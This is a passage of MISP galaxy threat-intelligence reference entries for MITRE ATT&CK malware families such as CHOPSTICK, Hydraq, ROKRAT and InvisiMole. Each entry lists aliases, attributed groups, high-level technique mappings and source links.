[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).

The tag is: misp-galaxy:mitre-malware="CHOPSTICK - S0023"

CHOPSTICK - S0023 is also known as:

CHOPSTICK
Backdoor.SofacyX
SPLM
Xagent
X-Agent
webhp

CHOPSTICK - S0023 has relationships with:

similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

Table 3145. Table References
Links
https://attack.mitre.org/software/S0023
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf
https://www.justice.gov/file/1080281/download
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government

DroidJack - S0320

[DroidJack](https://attack.mitre.org/software/S0320) is an Android remote access tool that has been observed posing as legitimate applications including the Super Mario Run and Pokemon GO games. (Citation: Zscaler-SuperMarioRun) (Citation: Proofpoint-Droidjack)

The tag is: misp-galaxy:mitre-malware="DroidJack - S0320"

DroidJack - S0320 is also known as:

DroidJack

DroidJack - S0320 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"

Table 3146. Table References
Links
https://attack.mitre.org/software/S0320
https://www.zscaler.com/blogs/research/super-mario-run-malware-2-–-droidjack-rat
https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app

Hydraq - S0203

[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)

The tag is: misp-galaxy:mitre-malware="Hydraq - S0203"

Hydraq - S0203 is also known as:

Hydraq
Aurora
9002 RAT

Hydraq - S0203 has relationships with:

similar: misp-galaxy:tool="Aurora" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 3147. Table References
Links
https://attack.mitre.org/software/S0203
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/connect/blogs/trojanhydraq-incident
https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf
https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html
https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures
https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html
https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/

ZeroT - S0230

[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)

The tag is: misp-galaxy:mitre-malware="ZeroT - S0230"

ZeroT - S0230 is also known as:

ZeroT

ZeroT - S0230 has relationships with:

similar: misp-galaxy:tool="ZeroT" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="ZeroT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 3148. Table References
Links
https://attack.mitre.org/software/S0230
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx

Twitoor - S0302

[Twitoor](https://attack.mitre.org/software/S0302) is an Android malware family that likely spreads by SMS or via malicious URLs. (Citation: ESET-Twitoor)

The tag is: misp-galaxy:mitre-malware="Twitoor - S0302"

Twitoor - S0302 is also known as:

Twitoor

Twitoor - S0302 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 3149. Table References
Links
https://attack.mitre.org/software/S0302
http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/

LOWBALL - S0042

[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)

The tag is: misp-galaxy:mitre-malware="LOWBALL - S0042"

LOWBALL - S0042 is also known as:

LOWBALL

LOWBALL - S0042 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3150. Table References
Links
https://attack.mitre.org/software/S0042
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

ROKRAT - S0240

[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123)

The tag is: misp-galaxy:mitre-malware="ROKRAT - S0240"

ROKRAT - S0240 is also known as:

ROKRAT

ROKRAT - S0240 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 3151. Table References
Links
https://attack.mitre.org/software/S0240
https://blog.talosintelligence.com/2017/04/introducing-rokrat.html
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html

Briba - S0204

[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)

The tag is: misp-galaxy:mitre-malware="Briba - S0204"

Briba - S0204 is also known as:

Briba

Briba - S0204 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3152. Table References
Links
https://attack.mitre.org/software/S0204
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99

Dyre - S0024

[Dyre](https://attack.mitre.org/software/S0024) is a Trojan that has been used for financial gain. (Citation: Symantec Dyre June 2015)

The tag is: misp-galaxy:mitre-malware="Dyre - S0024"

Dyre - S0024 is also known as:

Dyre

Dyre - S0024 has relationships with:

similar: misp-galaxy:banker="Dyre" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 3153. Table References
Links
https://attack.mitre.org/software/S0024
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf

CALENDAR - S0025

[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)

The tag is: misp-galaxy:mitre-malware="CALENDAR - S0025"

CALENDAR - S0025 is also known as:

CALENDAR

CALENDAR - S0025 has relationships with:

similar: misp-galaxy:tool="CALENDAR" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 3154. Table References
Links
https://attack.mitre.org/software/S0025
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

OnionDuke - S0052

[OnionDuke](https://attack.mitre.org/software/S0052) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2013 to 2015. (Citation: F-Secure The Dukes)

The tag is: misp-galaxy:mitre-malware="OnionDuke - S0052"

OnionDuke - S0052 is also known as:

OnionDuke

OnionDuke - S0052 has relationships with:

similar: misp-galaxy:malpedia="OnionDuke" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3155. Table References
Links
https://attack.mitre.org/software/S0052
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Naid - S0205

[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)

The tag is: misp-galaxy:mitre-malware="Naid - S0205"

Naid - S0205 is also known as:

Naid

Naid - S0205 has relationships with:

similar: misp-galaxy:tool="Trojan.Naid" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

Table 3156. Table References
Links
https://attack.mitre.org/software/S0205
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf

GLOOXMAIL - S0026

[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)

The tag is: misp-galaxy:mitre-malware="GLOOXMAIL - S0026"

GLOOXMAIL - S0026 is also known as:

GLOOXMAIL
Trojan.GTALK

GLOOXMAIL - S0026 has relationships with:

similar: misp-galaxy:tool="GLOOXMAIL" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 3157. Table References
Links
https://attack.mitre.org/software/S0026
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

DustySky - S0062

[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)

The tag is: misp-galaxy:mitre-malware="DustySky - S0062"

DustySky - S0062 is also known as:

DustySky
NeD Worm

DustySky - S0062 has relationships with:

similar: misp-galaxy:tool="NeD Worm" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3158. Table References
Links
https://attack.mitre.org/software/S0062
https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf
http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf

InvisiMole - S0260

[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by threat actors since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. (Citation: ESET InvisiMole June 2018)

The tag is: misp-galaxy:mitre-malware="InvisiMole - S0260"

InvisiMole - S0260 is also known as:

InvisiMole

InvisiMole - S0260 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 3159. Table References
Links
https://attack.mitre.org/software/S0260
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/

Wiarp - S0206

[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)

The tag is: misp-galaxy:mitre-malware="Wiarp - S0206"

Wiarp - S0206 is also known as:

Wiarp

Wiarp - S0206 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3160. Table References
Links
https://attack.mitre.org/software/S0206
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99

OwaAuth - S0072

[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)

The tag is: misp-galaxy:mitre-malware="OwaAuth - S0072"

OwaAuth - S0072 is also known as:

OwaAuth

OwaAuth - S0072 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"

Table 3161. Table References
Links
https://attack.mitre.org/software/S0072
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

RogueRobin - S0270

